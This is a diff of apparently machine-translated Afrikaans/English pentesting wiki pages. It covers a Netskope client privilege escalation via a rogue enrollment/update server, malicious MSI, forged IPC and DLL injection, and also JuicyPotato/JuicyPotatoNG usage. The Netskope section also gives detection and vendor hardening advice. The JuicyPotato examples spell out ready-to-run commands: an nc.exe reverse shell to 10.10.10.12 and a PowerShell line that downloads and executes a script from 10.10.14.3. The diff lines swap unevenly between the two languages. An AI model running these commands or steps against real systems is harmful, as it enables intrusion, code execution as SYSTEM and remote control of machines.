-1) Skryf ’n JWT enrollment token waarvan die claims die backend‑host beheer (bv., AddonUrl). Gebruik alg=None sodat geen signature vereis word nie.
-2) Stuur die IPC‑boodskap wat die provisioning‑opdrag aanroep met jou JWT en tenant‑naam:
+Exploit flow:
+1) Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required.
+2) Send the IPC message invoking the provisioning command with your JWT and tenant name:
 ```json
 {
 "148": {
@@ -31,88 +31,88 @@ Uitbuitingsvloei:
 }
 }
 ```
-3) Die diens begin jou rogue server vir enrollment/config te kontak, bv.:
+3) Die diens begin jou kwaadwillige bediener vir enrollment/config te tref, byvoorbeeld:
 - /v1/externalhost?service=enrollment
 - /config/user/getbrandingbyemail
 
 Aantekeninge:
-- If caller verification is path/name‑based, originate the request from a allow‑listed vendor binary (see §4).
+- Indien caller-verifikasie pad/naam-gebaseer is, laat die versoek afkomstig wees van 'n op die witlys geplaatste vendor binary (sien §4).
 
 ---
-## 2) Hijacking the update channel to run code as SYSTEM
+## 2) Oorname van die update-kanaal om kode as SYSTEM uit te voer
 
-Sodra die client met jou bediener kommunikeer, implementeer die verwagte endpoints en lei dit na 'n attacker MSI. Tipiese volgorde:
+Sodra die kliënt met jou bediener praat, implementeer die verwagte endpoints en stuur dit na 'n aanvaller-MSI. Tipiese volgorde:
 
-1) /v2/config/org/clientconfig → Gee JSON-config terug met 'n baie kort updater-interval, bv.:
+1) /v2/config/org/clientconfig → Gee 'n JSON-config terug met 'n baie kort opdateringsinterval, bv.:
 ```json
 {
 "clientUpdate": { "updateIntervalInMin": 1 },
 "check_msi_digest": false
 }
 ```
-2) /config/ca/cert → Gee 'n PEM CA sertifikaat terug. Die diens installeer dit in die Local Machine Trusted Root store.  
-3) /v2/checkupdate → Verskaf metadata wat na 'n kwaadwillige MSI en 'n valse weergawe wys.
+2) /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store.
+3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version.
 
-Bypass van algemene kontroles wat in die veld aangetref word:
-- Signer CN allow‑list: die diens mag slegs die Subject CN nagaan of dit gelyk is aan “netSkope Inc” of “Netskope, Inc.”. Jou eensindige CA kan 'n leaf-sertifikaat met daardie CN uitreik en die MSI teken.
-- CERT_DIGEST-eienskap: sluit 'n onskadelike MSI-eienskap met die naam CERT_DIGEST in. Geen afdwinging tydens installasie nie.
-- Opsionele digest-afdwinging: config-vlag (bv., check_msi_digest=false) skakel ekstra kryptografiese validering af.
+Bypassing common checks seen in the wild:
+- Signer CN allow‑list: die diens mag slegs kyk of die Subject CN gelyk is aan “netSkope Inc” of “Netskope, Inc.”. Jou slegte CA kan ’n leaf uitreik met daardie CN en die MSI teken.
+- CERT_DIGEST property: sluit ’n onskadelike MSI‑eienskap genaamd CERT_DIGEST in. Geen afdwinging tydens installasie nie.
+- Optional digest enforcement: config‑vlag (bv. check_msi_digest=false) deaktiveer ekstra kriptografiese verifikasie.
 
-Resultaat: die SYSTEM-diens installeer jou MSI vanaf
+Result: the SYSTEM service installs your MSI from
 C:\ProgramData\Netskope\stAgent\data\*.msi
-en voer ewekansige kode uit as NT AUTHORITY\SYSTEM.
+executing arbitrary code as NT AUTHORITY\SYSTEM.
 
 ---
 ## 3) Forging encrypted IPC requests (when present)
 
-Vanaf R127 het Netskope IPC JSON in 'n encryptData-veld toegedraai wat soos Base64 lyk. Reversing het gewys op AES met key/IV afgelei van registerwaardes wat deur enige gebruiker gelees kan word:
+From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user:
 - Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
 - IV  = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
 
-Aanvallers kan die enkripsie reproduseer en geldige, geënkripteerde opdragte vanaf 'n standaardgebruiker stuur. Algemene wenk: as 'n agent skielik sy IPC "enkripteer", kyk vir device IDs, product GUIDs, install IDs onder HKLM as materiaal.
+Aanvallers kan die enkripsie reproduceer en geldige enkripteerde opdragte stuur vanaf ’n standaard gebruiker. Algemene wenk: as ’n agent skielik sy IPC “enkripteer”, kyk vir device IDs, product GUIDs, install IDs onder HKLM as materiaal.
 
 ---
 ## 4) Bypassing IPC caller allow‑lists (path/name checks)
 
-Sommige dienste probeer die peer autentiseer deur die TCP-verbinding se PID op te los en die image path/name te vergelyk met 'n allow‑list van vendor-binaries onder Program Files (bv. stagentui.exe, bwansvc.exe, epdlp.exe).
+Sommige dienste probeer die peer verifieer deur die TCP‑verbinding se PID op te los en die image path/name te vergelyk met allow‑listed vendor binaries onder Program Files (bv. stagentui.exe, bwansvc.exe, epdlp.exe).
 
 Twee praktiese omseilings:
-- DLL-injektie in 'n toegelate proses (bv. nsdiag.exe) en proxy IPC van binne dit.
-- Spawn 'n toegelate binêre gesuspendeer en bootstrap jou proxy DLL sonder CreateRemoteThread (sien §5) om bestuurder-afgedwingde manipulasie-reëls te bevredig.
+- DLL injection in ’n allow‑listed proses (bv. nsdiag.exe) en proxy IPC van binne daardie proses.
+- Spawn ’n allow‑listed binary in suspended state en bootstrap jou proxy DLL sonder CreateRemoteThread (sien §5) om driver‑afgedwonge tamper‑reëls te bevredig.
 
 ---
 ## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
 
-Produkte bevat dikwels 'n minifilter/OB callbacks driver (bv. Stadrv) wat gevaarlike regte van handvatsels na beskermde prosesse verwyder:
+Produkte verskaf dikwels ’n minifilter/OB callbacks driver (bv. Stadrv) om gevaarlike regte van handles na beskermde prosesse te verwyder:
 - Process: verwyder PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
 - Thread: beperk tot THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
 
-'n Betroubare user‑mode loader wat hierdie beperkings respekteer:
-1) CreateProcess van 'n vendor-binary met CREATE_SUSPENDED.
-2) Verkry handvatsels wat jy nog toegelaat is: PROCESS_VM_WRITE | PROCESS_VM_OPERATION op die proses, en 'n thread-handle met THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (of net THREAD_RESUME as jy kode by 'n bekende RIP patch).
-3) Oorskryf ntdll!NtContinue (of 'n ander vroeë, gewaarborgde-gelaaide thunk) met 'n klein stub wat LoadLibraryW op jou DLL-pad aanroep, en dan terug spring.
-4) ResumeThread om jou stub in‑proses te trigger en jou DLL te laai.
+’n Betroubare user‑mode loader wat aan hierdie beperkings voldoen:
+1) CreateProcess van ’n vendor binary met CREATE_SUSPENDED.
+2) Verkry handle waarvoor jy nog toegelaat is: PROCESS_VM_WRITE | PROCESS_VM_OPERATION op die proses, en ’n thread handle met THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (of net THREAD_RESUME as jy kode by ’n bekende RIP patch).
+3) Oorskryf ntdll!NtContinue (of ander vroeë, gewaarborgde‑gemap thunk) met ’n klein stub wat LoadLibraryW op jou DLL‑pad aanroep, en dan terug spring.
+4) ResumeThread om jou stub in‑process te trigger en jou DLL te laai.
 
-Omdat jy nooit PROCESS_CREATE_THREAD of PROCESS_SUSPEND_RESUME op 'n reeds-beskermde proses gebruik het nie (jy het dit geskep), word die bestuurder se beleid bevredig.
+Omdat jy nooit PROCESS_CREATE_THREAD of PROCESS_SUSPEND_RESUME op ’n reeds‑beskermde proses gebruik het nie (jy het dit geskep), word die driver se beleid bevredig.
 
 ---
 ## 6) Practical tooling
-- NachoVPN (Netskope plugin) outomatiseer 'n rogue CA, kwaadwillige MSI-ondertekening, en bedien die nodige endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
-- UpSkope is 'n custom IPC client wat arbitraire (opsioneel AES‑geënkripteerde) IPC-boodskappe skep en die gesuspendeerde‑proses injeksie insluit om van 'n allow‑listed binary te originate.
+- NachoVPN (Netskope plugin) outomatiseer ’n rogue CA, kwaadwillige MSI‑handtekening, en bedien die nodige endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
+- UpSkope is ’n custom IPC client wat arbitrêre (opsioneel AES‑enkripteerde) IPC‑boodskappe saamstel en die suspended‑process injection insluit sodat dit van ’n allow‑listed binary afkomstig lyk.
 
 ---
 ## 7) Detection opportunities (blue team)
-- Monitor toevoegings aan Local Machine Trusted Root. Sysmon + registry‑mod eventing (sien SpecterOps guidance) werk goed.
-- Merk MSI-uitvoerings wat deur die agent se diens geïnisieer word vanaf paaie soos C:\ProgramData\<vendor>\<agent>\data\*.msi.
-- Hersien agentlogs vir onverwante enrollment hosts/tenants, bv.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – kyk vir addonUrl / tenant anomalieë en provisioning msg 148.
-- Waarschuw vir localhost IPC-kliente wat nie die verwagte signed binaries is nie, of wat uit vreemde child process-boom gewortel is.
+- Monitor additions to Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) works well.
+- Flag MSI executions initiated by the agent’s service from paths like C:\ProgramData\<vendor>\<agent>\data\*.msi.
+- Review agent logs for unexpected enrollment hosts/tenants, e.g.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – look for addonUrl / tenant anomalies and provisioning msg 148.
+- Alert on localhost IPC clients that are not the expected signed binaries, or that originate from unusual child process trees.
 
 ---
 ## Hardening tips for vendors
-- Bind enrollment/update hosts aan 'n streng allow‑list; verwerp onbetroubare domeine in clientkode.
-- Authenticate IPC peers met OS-primitive (ALPC security, named‑pipe SIDs) in plaas van image path/name kontroles.
-- Hou geheime materiaal uit wêreld-leesbare HKLM; as IPC geënkripteer moet wees, lei sleutels af van beskermde geheime of onderhandel oor geauthentiseerde kanale.
-- Behandel die updater as 'n supply‑chain surface: vereis 'n volle ketting na 'n vertroude CA wat jy beheer, verifieer pakkethandtekenings teen gepinde sleutels, en fail closed as validering in die config gedeaktiveer is.
+- Bind enrollment/update hosts to a strict allow‑list; reject untrusted domains in clientcode.
+- Authenticate IPC peers with OS primitives (ALPC security, named‑pipe SIDs) instead of image path/name checks.
+- Keep secret material out of world‑readable HKLM; if IPC must be encrypted, derive keys from protected secrets or negotiate over authenticated channels.
+- Treat the updater as a supply‑chain surface: require a full chain to a trusted CA you control, verify package signatures against pinned keys, and fail closed if validation is disabled in config.
 
 ## References
 - [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)

src/windows-hardening/windows-local-privilege-escalation/juicypotato.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-> [!WARNING] > JuicyPotato is verouderd. Dit werk oor die algemeen op Windows-weergawes tot Windows 10 1803 / Windows Server 2016. Microsoft-aanpassings wat begin met Windows 10 1809 / Server 2019 het die oorspronklike tegniek gebreek. Vir daardie builds en nuwer, oorweeg moderne alternatiewe soos PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato en ander. Sien die bladsy hieronder vir op-datum opsies en gebruik.
+> [!WARNING] > JuicyPotato is verouderd. Dit werk oor die algemeen op Windows weergawes tot en met Windows 10 1803 / Windows Server 2016. Microsoft-wysigings wat begin met Windows 10 1809 / Server 2019 het die oorspronklike tegniek gebreek. Vir daardie builds en nuwer, oorweeg moderne alternatiewe soos PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato en ander. Sien die bladsy hieronder vir bygewerkte opsies en gebruikswyse.
 
 
 {{#ref}}
@@ -11,14 +11,14 @@ roguepotato-and-printspoofer.md
 
 ## Juicy Potato (misbruik van die goue voorregte) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
 
-_'n gesuikerde weergawe van_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, met 'n bietjie ekstra, d.w.s. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
+_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
 
 #### Jy kan juicypotato aflaai vanaf [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
 
-### Kompatibiliteit - vinnige notas
+### Compatibility quick notes
 
-- Werk betroubaar op Windows-weergawes tot Windows 10 1803 en Windows Server 2016 wanneer die huidige konteks SeImpersonatePrivilege of SeAssignPrimaryTokenPrivilege het.
-- Gebreek deur Microsoft-hardening in Windows 10 1809 / Windows Server 2019 en later. Gebruik die alternatiewe hierbo vir daardie weergawes.
+- Werk betroubaar tot Windows 10 1803 en Windows Server 2016 wanneer die huidige konteks SeImpersonatePrivilege of SeAssignPrimaryTokenPrivilege het.
+- Gebreek deur Microsoft-hardening in Windows 10 1809 / Windows Server 2019 en later. Gebruik eerder die alternatiewe hierbo vir daardie builds.
 
 ### Summary <a href="#summary" id="summary"></a>
 
@@ -26,34 +26,34 @@ _'n gesuikerde weergawe van_ [_RottenPotatoNG_](https://github.com/breenmachine/
 
 [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
 
-Ons het besluit om RottenPotatoNG te weaponize: sê hallo vir Juicy Potato.
+Ons het besluit om [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) te bewapen: Maak kennis met Juicy Potato.
 
 > Vir die teorie, sien [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) en volg die ketting van skakels en verwysings.
 
-Ons het ontdek dat, behalwe `BITS`, daar verskeie COM servers is wat ons kan misbruik. Hulle moet net:
+Ons het ontdek dat, anders as `BITS`, daar verskeie COM-bedieners is wat ons kan misbruik. Hulle hoef net te:
 
-1. instansieerbaar wees deur die huidige gebruiker, normaalweg 'n “service user” wat impersonation privileges het
-2. die `IMarshal` interface implementeer
-3. loop as 'n verhoogde gebruiker (SYSTEM, Administrator, …)
+1. deur die huidige gebruiker geïnstantieerbaar te wees, gewoonlik 'n “service user” wat impersonasie-voorregte het
+2. die `IMarshal` interface te implementeer
+3. as 'n verhoogde gebruiker te hardloop (SYSTEM, Administrator, …)
 
-Na sommige toetsing het ons 'n uitgebreide lys van [interessante CLSID’s](http://ohpe.it/juicy-potato/CLSID/) op verskeie Windows-weergawes verkry en getoets.
+Na enkele toetse het ons 'n uitgebreide lys van [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) op verskeie Windows-weergawes bekom en getoets.
 
-### Sappige besonderhede <a href="#juicy-details" id="juicy-details"></a>
+### Juicy details <a href="#juicy-details" id="juicy-details"></a>
 
 JuicyPotato laat jou toe om:
 
-- **Target CLSID** _kies enige CLSID wat jy wil._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _hier kan jy die lys volgens OS gevind kry._
-- **COM Listening port** _definieer die COM-luisterpoort wat jy verkies (in plaas van die gemarsjalleerde hardgekodeerde 6666)_
-- **COM Listening IP address** _bind die bediener aan enige IP_
-- **Process creation mode** _afhangend van die geïmpersonifiseerde gebruiker se voorregte kan jy kies uit:_
+- **Target CLSID** _kies enige CLSID wat jy wil._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _jy kan die lys per OS gevind._
+- **COM Listening port** _definieer die COM listening port wat jy verkies (in plaas van die marshalled hardcoded 6666)_
+- **COM Listening IP address** _bind die server op enige IP_
+- **Process creation mode** _afhangend van die geïmpersonifieerde gebruiker se voorregte kan jy kies tussen:_
 - `CreateProcessWithToken` (needs `SeImpersonate`)
 - `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
 - `both`
-- **Process to launch** _voer 'n uitvoerbare of script uit indien die uitbuiting slaag_
-- **Process Argument** _pas die gelanseerde proses se argumente aan_
-- **RPC Server address** _vir 'n stilswyende benadering kan jy by 'n eksterne RPC-bediener outentiseer_
-- **RPC Server port** _nuttig as jy by 'n eksterne bediener wil outentiseer en die firewall poort `135` blokkeer…_
-- **TEST mode** _hoofsaaklik vir toetsdoeleindes, bv. om CLSIDs te toets. Dit skep die DCOM en druk die gebruiker van die token. Sien_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
+- **Process to launch** _start 'n uitvoerbare lêer of script as die eksploitasie slaag_
+- **Process Argument** _pas die gesteekte prosesargumente aan_
+- **RPC Server address** _vir 'n stelselmatige benadering kan jy na 'n eksterne RPC-server autentiseer_
+- **RPC Server port** _nuttig as jy na 'n eksterne bediener wil autentiseer en die firewall poort `135` blokkeer…_
+- **TEST mode** _hoofsaaklik vir toetsdoeleindes, d.w.s. toets CLSID's. Dit skep die DCOM en druk die gebruiker van die token. Sien_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
 
 ### Gebruik <a href="#usage" id="usage"></a>
 ```
@@ -72,30 +72,30 @@ Optional args:
 -k <ip>: RPC server ip address (default 127.0.0.1)
 -n <port>: RPC server listen port (default 135)
 ```
-### Laaste gedagtes <a href="#final-thoughts" id="final-thoughts"></a>
+### Afsluitende gedagtes <a href="#final-thoughts" id="final-thoughts"></a>
 
 [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
 
-As die gebruiker `SeImpersonate` of `SeAssignPrimaryToken` voorregte het, dan is jy **SYSTEM**.
+As die gebruiker die `SeImpersonate` of `SeAssignPrimaryToken` voorregte het, is jy **SYSTEM**.
 
-Dit is byna onmoontlik om die misbruik van al hierdie COM Servers te voorkom. Jy kan oorweeg om die permissies van hierdie objektië via `DCOMCNFG` te wysig, maar sterkte — dit gaan uitdagend wees.
+Dit is byna onmoontlik om die misbruik van al hierdie COM Servers te voorkom. Jy kan oorweeg om die permissies van hierdie objekte via `DCOMCNFG` te wysig, maar sterkte — dit gaan uitdagend wees.
 
-Die werklike oplossing is om sensitiewe rekeninge en toepassings wat onder die `* SERVICE` rekeninge loop, te beskerm. Om `DCOM` te stop sou hierdie exploit beslis belemmer, maar dit kan 'n ernstige impak op die onderliggende OS hê.
+Die werklike oplossing is om sensitiewe rekeninge en toepassings wat onder die `* SERVICE`-rekeninge loop, te beskerm. Om `DCOM` te stop sou hierdie exploit sekerlik belemmer, maar dit kan 'n ernstige impak op die onderliggende OS hê.
 
-From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
+Van: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
 
 ## JuicyPotatoNG (2022+)
 
-JuicyPotatoNG herintroduceer 'n JuicyPotato-style local privilege escalation op moderne Windows deur die volgende te kombineer:
-- DCOM OXID resolution na 'n plaaslike RPC-server op 'n gekose poort, wat die ou hardgekodeerde 127.0.0.1:6666 listener vermy.
-- 'n SSPI hook om die inkomende SYSTEM-authentisering te vang en na te boots sonder om RpcImpersonateClient te benodig, wat ook CreateProcessAsUser moontlik maak wanneer slegs SeAssignPrimaryTokenPrivilege teenwoordig is.
-- Truuks om aan DCOM activation constraints te voldoen (bv. die voormalige INTERACTIVE-group vereiste wanneer PrintNotify / ActiveX Installer Service klasse geteiken word).
+JuicyPotatoNG herintroduseer 'n JuicyPotato-styl local privilege escalation op moderne Windows deur die volgende te kombineer:
+- DCOM OXID resolution na 'n local RPC server op 'n gekose poort, en vermy die ou hardgekodeerde 127.0.0.1:6666 listener.
+- 'n SSPI hook om die inkomende SYSTEM-verifikasie te vang en te impersonate sonder om RpcImpersonateClient nodig te hê, wat ook CreateProcessAsUser moontlik maak wanneer slegs SeAssignPrimaryTokenPrivilege beskikbaar is.
+- Truuks om DCOM-aktivasiiebeperkings te bevredig (bv. die voormalige INTERACTIVE-groep vereiste wanneer PrintNotify / ActiveX Installer Service klasse geteiken word).
 
-Belangrike notas (gedrag wat oor verskeie builds ontwikkel):
-- September 2022: Die aanvanklike tegniek het gewerk op ondersteunde Windows 10/11- en Server-teikens met die “INTERACTIVE trick”.
-- January 2023 update from the authors: Microsoft het later die INTERACTIVE trick geblokkeer. 'n Ander CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) herstel die uitbuiting, maar slegs op Windows 11 / Server 2022 volgens hul pos.
+Belangrike notas (gedrag ontwikkel oor verskeie builds):
+- September 2022: Die aanvanklike tegniek het gewerk op ondersteunde Windows 10/11 en Server teikens deur die “INTERACTIVE truuk” te gebruik.
+- Januarie 2023-opdatering van die outeurs: Microsoft het later die INTERACTIVE truuk geblokkeer. 'n Ander CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) herstel die exploit maar volgens hul pos slegs op Windows 11 / Server 2022.
 
-Basiese gebruik (meer flags in die help):
+Basiese gebruik (meer flags in die hulp):
 ```
 JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
 # Useful helpers:
@@ -103,13 +103,13 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
 #  -s  Scan for a COM port not filtered by Windows Defender Firewall
 #  -i  Interactive console (only with CreateProcessAsUser)
 ```
-As jy Windows 10 1809 / Server 2019 teiken waar die klassieke JuicyPotato gepatch is, verkies die alternatiewe wat bo verbind is (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, ens.). NG kan situasie-afhanklik wees, afhangende van die build en diensstatus.
+As jy mik op Windows 10 1809 / Server 2019 waar klassieke JuicyPotato gepatch is, verkies die alternatiewe wat bo-aan gelink is (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, ens.). NG kan situasioneel wees, afhangend van die build en diensstatus.
 
 ## Voorbeelde
 
-Let wel: Besoek [hierdie bladsy](https://ohpe.it/juicy-potato/CLSID/) vir 'n lys van CLSIDs om te probeer.
+Let wel: Besoek [this page](https://ohpe.it/juicy-potato/CLSID/) vir 'n lys CLSIDs om te probeer.
 
-### Kry 'n nc.exe reverse shell
+### Get a nc.exe reverse shell
 ```
 c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
 
@@ -126,23 +126,23 @@ c:\Users\Public>
 ```
 .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
 ```
-### Start 'n nuwe CMD (as jy RDP-toegang het)
+### Begin 'n nuwe CMD (as jy RDP-toegang het)
 
 ![](<../../images/image (300).png>)
 
 ## CLSID Probleme
 
-Gereeld werk die standaard CLSID wat JuicyPotato gebruik **nie** en die exploit misluk. Gewoonlik verg dit verskeie pogings om 'n **werkende CLSID** te vind. Om 'n lys CLSIDs te kry om vir 'n spesifieke bedryfstelsel te probeer, besoek hierdie bladsy:
+Dikwels werk die standaard CLSID wat JuicyPotato gebruik **nie** en die exploit misluk. Gewoonlik neem dit verskeie pogings om 'n **werkende CLSID** te vind. Om 'n lys CLSIDs te kry om vir 'n spesifieke bedryfstelsel te probeer, besoek hierdie blad:
 
 - [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
 
 ### **Kontroleer CLSIDs**
 
-Eerstens sal jy 'n paar executables nodig hê behalwe juicypotato.exe.
+Eerstens sal jy 'n paar uitvoerbare lêers behalwe juicypotato.exe benodig.
 
-Laai [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) af en laai dit in jou PS-sessie, en laai en voer [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) uit. Daardie script sal 'n lys moontlike CLSIDs skep om te toets.
+Download [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) en laai dit in jou PS-sessie, en download en voer [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) uit. Daardie script sal 'n lys van moontlike CLSIDs skep om te toets.
 
-Laai dan [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) af (verander die pad na die CLSID-lys en na die juicypotato executable) en voer dit uit. Dit sal begin om elke CLSID te probeer, en **wanneer die poortnommer verander, beteken dit dat die CLSID gewerk het**.
+Laai dan [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(verander die pad na die CLSID-lys en na die juicypotato-uitvoerbare) af en voer dit uit. Dit sal elke CLSID begin probeer, en **wanneer die poortnommer verander, beteken dit dat die CLSID gewerk het**.
 
 **Kontroleer** die werkende CLSIDs **met die parameter -c**